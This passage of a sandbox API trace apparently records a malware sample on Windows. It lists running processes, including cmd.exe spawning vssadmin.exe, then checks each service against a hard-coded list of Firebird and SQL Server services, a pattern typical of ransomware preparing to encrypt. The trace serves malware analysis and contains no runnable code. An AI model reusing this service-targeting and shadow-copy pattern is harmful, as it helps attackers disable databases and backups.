(lpString="facing.exe") returned 10 [0055.703] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0055.703] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0055.703] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 [0055.703] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0055.703] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0055.704] lstrlenW (lpString="headline.exe") returned 12 [0055.704] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0055.704] lstrlenW (lpString="army_unsigned.exe") returned 17 [0055.704] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0055.704] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0055.704] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0055.705] lstrlenW (lpString="distribution-gif.exe") returned 20 [0055.705] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0055.705] lstrlenW (lpString="tribunal.exe") returned 12 [0055.705] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0055.705] lstrlenW (lpString="aafeof.exe") returned 10 [0055.705] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0055.706] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0055.706] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0055.706] lstrlenW (lpString="encryption.exe") returned 14 [0055.706] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0055.706] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0055.706] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0055.707] lstrlenW (lpString="1с_.exe") returned 7 [0055.707] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0055.707] lstrlenW (lpString="cmd.exe") returned 7 [0055.707] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0055.707] lstrlenW (lpString="conhost.exe") returned 11 [0055.707] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0055.707] lstrlenW (lpString="vssadmin.exe") returned 12 [0055.707] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0055.708] lstrlenW (lpString="VSSVC.exe") returned 9 [0055.708] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.708] lstrlenW (lpString="svchost.exe") returned 11 [0055.708] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0055.708] CloseHandle (hObject=0x204) returned 1 [0055.709] Sleep (dwMilliseconds=0x1f4) [0056.791] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x58fa88 [0056.792] EnumServicesStatusExW (in: hSCManager=0x58fa88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0056.792] GetLastError () returned 0xea [0056.792] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x60eb98 [0056.792] EnumServicesStatusExW (in: hSCManager=0x58fa88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60eb98, cbBufSize=0x12c6, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60eb98, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0056.793] CloseServiceHandle (hSCObject=0x58fa88) returned 1 [0056.793] lstrlenW (lpString="Appinfo") returned 7 [0056.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0056.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0056.793] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0056.793] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0056.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0056.793] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0056.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0056.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0056.793] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0056.793] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0056.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0056.793] lstrlenW (lpString="AudioSrv") returned 8 [0056.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0056.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0056.793] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0056.793] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0056.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0056.793] lstrlenW (lpString="BFE") returned 3 [0056.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0056.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0056.793] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0056.793] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0056.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0056.794] lstrlenW (lpString="CryptSvc") returned 8 [0056.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0056.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0056.794] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0056.794] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0056.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0056.794] lstrlenW (lpString="CscService") returned 10 [0056.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0056.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0056.794] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0056.794] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0056.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0056.794] lstrlenW (lpString="DcomLaunch") returned 10 [0056.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0056.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0056.794] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0056.794] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0056.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0056.794] lstrlenW (lpString="Dhcp") returned 4 [0056.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0056.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0056.794] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0056.794] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0056.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0056.794] lstrlenW (lpString="Dnscache") returned 8 [0056.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0056.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0056.794] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0056.794] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0056.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0056.794] lstrlenW (lpString="DPS") returned 3 [0056.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0056.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0056.795] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0056.795] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0056.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0056.795] lstrlenW (lpString="eventlog") returned 8 [0056.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0056.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0056.795] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0056.795] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0056.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0056.795] lstrlenW (lpString="EventSystem") returned 11 [0056.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0056.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0056.795] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0056.795] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0056.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0056.795] lstrlenW (lpString="gpsvc") returned 5 [0056.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0056.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0056.795] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0056.795] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0056.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0056.795] lstrlenW (lpString="iphlpsvc") returned 8 [0056.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0056.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0056.795] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0056.795] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0056.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0056.795] lstrlenW (lpString="LanmanServer") returned 12 [0056.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0056.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0056.795] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0056.795] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0056.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0056.796] lstrlenW (lpString="LanmanWorkstation") returned 17 [0056.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0056.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0056.796] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0056.796] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0056.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0056.796] lstrlenW (lpString="lmhosts") returned 7 [0056.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0056.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0056.796] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0056.796] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0056.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0056.796] lstrlenW (lpString="MMCSS") returned 5 [0056.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0056.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0056.796] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0056.796] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0056.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0056.796] lstrlenW (lpString="MpsSvc") returned 6 [0056.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0056.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0056.796] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0056.796] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0056.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0056.796] lstrlenW (lpString="Netman") returned 6 [0056.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0056.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0056.796] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0056.796] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0056.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0056.796] lstrlenW (lpString="netprofm") returned 8 [0056.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0056.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0056.797] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0056.797] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0056.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0056.797] lstrlenW (lpString="NlaSvc") returned 6 [0056.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0056.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0056.797] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0056.797] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0056.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0056.797] lstrlenW (lpString="nsi") returned 3 [0056.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0056.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0056.797] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0056.797] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0056.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0056.797] lstrlenW (lpString="PcaSvc") returned 6 [0056.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0056.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0056.797] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0056.797] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0056.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0056.797] lstrlenW (lpString="PlugPlay") returned 8 [0056.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0056.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0056.797] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0056.797] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0056.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0056.797] lstrlenW (lpString="Power") returned 5 [0056.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0056.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0056.797] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0056.798] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0056.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0056.798] lstrlenW (lpString="ProfSvc") returned 7 [0056.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0056.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0056.798] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0056.798] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0056.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0056.798] lstrlenW (lpString="RpcEptMapper") returned 12 [0056.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0056.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0056.798] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0056.798] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0056.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0056.798] lstrlenW (lpString="RpcSs") returned 5 [0056.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0056.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0056.798] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0056.798] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0056.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0056.798] lstrlenW (lpString="SamSs") returned 5 [0056.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0056.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0056.798] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0056.798] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0056.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0056.798] lstrlenW (lpString="Schedule") returned 8 [0056.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0056.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0056.798] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0056.798] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0056.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0056.799] lstrlenW (lpString="SENS") returned 4 [0056.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0056.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0056.799] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0056.799] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0056.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0056.799] lstrlenW (lpString="ShellHWDetection") returned 16 [0056.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0056.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0056.799] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0056.799] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0056.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0056.799] lstrlenW (lpString="Spooler") returned 7 [0056.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0056.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0056.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0056.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0056.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0056.799] lstrlenW (lpString="swprv") returned 5 [0056.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0056.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0056.799] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0056.799] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0056.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0056.799] lstrlenW (lpString="SysMain") returned 7 [0056.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0056.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0056.799] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0056.799] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0056.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0056.799] lstrlenW (lpString="Themes") returned 6 [0056.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0056.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0056.800] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0056.800] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0056.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0056.800] lstrlenW (lpString="TrkWks") returned 6 [0056.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0056.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0056.800] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0056.800] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0056.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0056.800] lstrlenW (lpString="UxSms") returned 5 [0056.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0056.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0056.800] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0056.800] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0056.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0056.800] lstrlenW (lpString="VSS") returned 3 [0056.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0056.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0056.800] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0056.800] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0056.800] lstrcmpiW 